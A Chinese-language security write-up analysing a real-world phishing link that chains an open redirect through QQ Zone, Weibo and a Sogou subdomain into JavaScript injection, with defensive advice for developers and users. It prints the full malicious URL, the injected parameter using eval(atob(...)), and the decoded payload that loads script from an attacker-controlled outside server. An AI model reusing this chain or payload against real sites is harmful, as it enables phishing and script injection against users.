基于URL跳转与XSS组合利用的钓鱼分析(以QQ空间某恶意链接为例)
字数 1449 2025-08-25 22:58:28
基于URL跳转与XSS组合利用的钓鱼攻击分析
攻击概述
本文分析了一种针对QQ空间的组合式钓鱼攻击技术,攻击者通过精心构造的恶意URL,利用多个知名网站的白名单信任链,最终实现JavaScript代码注入。这种攻击结合了URL跳转、参数注入和XSS技术,具有较高的隐蔽性和欺骗性。
攻击链分析
1. 初始恶意URL结构
攻击者构造的原始恶意URL如下:
http://open.qzone.qq.com/url_check?url=https%3A%2F%2Fweibo.cn%2Fsinaurl%3F_wv%3D1027%26cmd%3Dplay%26u%3Dhttp%253A%252F%252Fsubdomain.sogou.com%252Fct%253Fid%253D1025611%2526h%253D333%2526w%253D33336%2526fv%253D32%2526if%253D16%2526sohuurl%253Dhttps%25253A%25252F%25252Fnews.china.com%25252Ft_we1561734359ZWl0ZQ.html%2526bs%253D1423%252C794%252522%257D%257D%25250a%253Beval%2528atob%2528%252522ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vbS5qcXVlcnkua2ltOjgwOTAvd2ViL2lmLnBocD8xMjMnPjwvc2NyaXB0PiIp%252522%2529%2529%253B%25250aif%2528O%2529%257Bif%2528B%2529%257B%2525221%2526tmp_cdif%253D0%2526mi%253D0%2526m%253DMTU1OTQwMzcwMV9wcmV0dHkgZG9nXzEwMjU2MTEA%2526ex%253D%2526glx%253D0%2526r%253D1561734359%2526business%253D%2523123&cmd=play&_wv=2098179#123
2. URL解码与美化
解码后的URL结构更清晰:
http://open.qzone.qq.com/url_check?url=https://weibo.cn/sinaurl?_wv=1027&cmd=play&u=http://subdomain.sogou.com/ct?id=1025611&h=333&w=33336&fv=32&if=16&sohuurl=https%3A%2F%2Fnews.china.com%2Ft_we1561734359ZWl0ZQ.html&bs=1423,794%22}}%0a;eval(atob("document.write("<script src='http://m.jquery.kim:8090/web/if.php?123'></script>")"));%0aif(O){if(B){%221&tmp_cdif=0&mi=0&m=MTU1OTQwMzcwMV9wcmV0dHkgZG9nXzEwMjU2MTEA&ex=&glx=0&r=1561734359&business=#123&cmd=play&_wv=2098179#123
3. 跳转流程分析
完整的攻击跳转链如下:
-
QQ空间URL检查服务:
open.qzone.qq.com/url_check- 这是QQ空间提供的URL安全检查服务,用于验证外部链接的安全性
-
微博链接分享:
weibo.cn/sinaurl- 攻击者利用微博作为中间跳板,利用微博在QQ白名单中的信任关系
-
搜狗某子域名:
subdomain.sogou.com/ct- 最终的攻击目标,存在JavaScript注入漏洞
漏洞利用技术细节
1. 注入点分析
在搜狗子域名的请求参数中,bs参数存在未经过滤的直接拼接:
&bs=1423,794%22}}%0a;eval(atob("document.write("<script src='http://m.jquery.kim:8090/web/if.php?123'></script>")"));%0aif(O){if(B){%221
攻击者通过bs参数:
- 闭合原有的JavaScript字符串和代码块(使用
"}}) - 插入换行符(
%0a) - 执行Base64解码的恶意代码(
eval(atob(...))) - 重新闭合后续代码(
if(O){if(B){"1)
2. 恶意载荷分析
Base64解码后的恶意代码:
document.write("<script src='http://m.jquery.kim:8090/web/if.php?123'></script>")
这段代码会动态加载一个位于攻击者控制的服务器上的JavaScript文件。
3. 防御规避技术
攻击者使用了多种技术来规避检测:
- 白名单跳转链:利用QQ信任微博、微博信任搜狗的信任关系
- 参数伪装:使用
sohuurl等看似合法的参数使请求看起来正常 - 条件性攻击:后端检测Referer或User-Agent,仅对特定设备或来源实施攻击
- 错误页面伪装:对不符合条件的访问者重定向到腾讯的禁止访问页面
攻击传播机制
虽然文档中没有明确说明传播方式,但推测可能通过以下途径:
- QQ空间CSRF漏洞:利用跨站请求伪造让用户自动转发恶意内容
- 社交工程:诱骗用户点击看似有趣的链接
- 自动传播脚本:通过已感染的账户自动向好友发送恶意链接
安全防护建议
1. 对开发者的建议
- 输入过滤:对所有用户可控的参数进行严格过滤,特别是会拼接到JavaScript代码中的参数
- 输出编码:在将用户输入输出到页面时进行适当的编码
- CSP策略:实施严格的内容安全策略,限制外部脚本加载
- 白名单验证:不仅验证直接跳转目标,还应验证整个跳转链
2. 对普通用户的建议
- 谨慎点击不明链接,特别是短链接或经过多次跳转的链接
- 注意浏览器地址栏的变化,警惕最终跳转到的非预期域名
- 保持浏览器和安全软件更新
技术延伸:白名单链式攻击
这种攻击展示了"白名单链式攻击"的风险模式:
A(QQ) → B(微博) → C(搜狗)
- A信任B,B信任C
- 当C存在漏洞时,攻击者可以利用B作为跳板攻击A的用户
- 这种攻击难以通过单一环节的防御完全阻止
防御这种攻击需要:
- 对白名单中的每个环节进行安全评估
- 实施链式验证机制
- 监控异常跳转模式
总结
本案例展示了一种高级的组合式钓鱼攻击技术,通过分析我们可以学习到:
- 现代Web攻击往往结合多种技术手段
- 信任链可能成为攻击者的利用工具
- 输入过滤不严格可能导致严重后果
- 安全防御需要多层次、多维度的策略
这种攻击方式至今仍然有效,说明Web安全防御仍然面临严峻挑战。